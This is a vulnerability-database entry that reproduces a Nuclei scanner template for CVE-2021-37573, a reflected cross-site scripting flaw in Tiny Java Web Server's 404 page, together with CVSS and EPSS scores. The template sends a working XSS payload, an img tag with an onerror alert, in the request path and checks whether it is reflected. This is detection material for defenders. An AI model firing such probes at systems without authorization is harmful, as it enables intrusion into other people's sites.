Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-37573
HistoryAug 13, 2021 - 10:14 p.m.

Tiny Java Web Server - Cross-Site Scripting

2021-08-1322:14:13
ProjectDiscovery
github.com
1

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

0.003 Low

EPSS

Percentile

69.4%

A reflected cross-site scripting vulnerability in the web server TTiny Java Web Server and Servlet Container (TJWS) <=1.115 allows an adversary to inject malicious code on the server’s “404 Page not Found” error page.

id: CVE-2021-37573

info:
  name: Tiny Java Web Server - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: A reflected cross-site scripting vulnerability in the web server TTiny Java Web Server and Servlet Container (TJWS) <=1.115 allows an adversary to inject malicious code on the server's "404 Page not Found" error page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2021/Aug/13
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37573
    - https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-042.txt
    - http://seclists.org/fulldisclosure/2021/Aug/13
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-37573
    cwe-id: CWE-79
    epss-score: 0.00303
    epss-percentile: 0.69043
    cpe: cpe:2.3:a:tiny_java_web_server_project:tiny_java_web_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tiny_java_web_server_project
    product: tiny_java_web_server
  tags: cve2021,cve,xss,tjws,java,seclists,tiny_java_web_server_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/te%3Cimg%20src=x%20onerror=alert(42)%3Est"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<H2>404 te<img src=x onerror=alert(42)>st not found</H2>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 404
# digest: 4b0a00483046022100860677e3cb649f8221c48f8da8c476eaff6ae5218cc6f264058729a4175edb3d022100cde954092485d59c153fd0f1cbf309acc275463b5deb833deb6be569958419ad:922c64590222798bb761d5b6d8e72950

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

0.003 Low

EPSS

Percentile

69.4%

Related for NUCLEI:CVE-2021-37573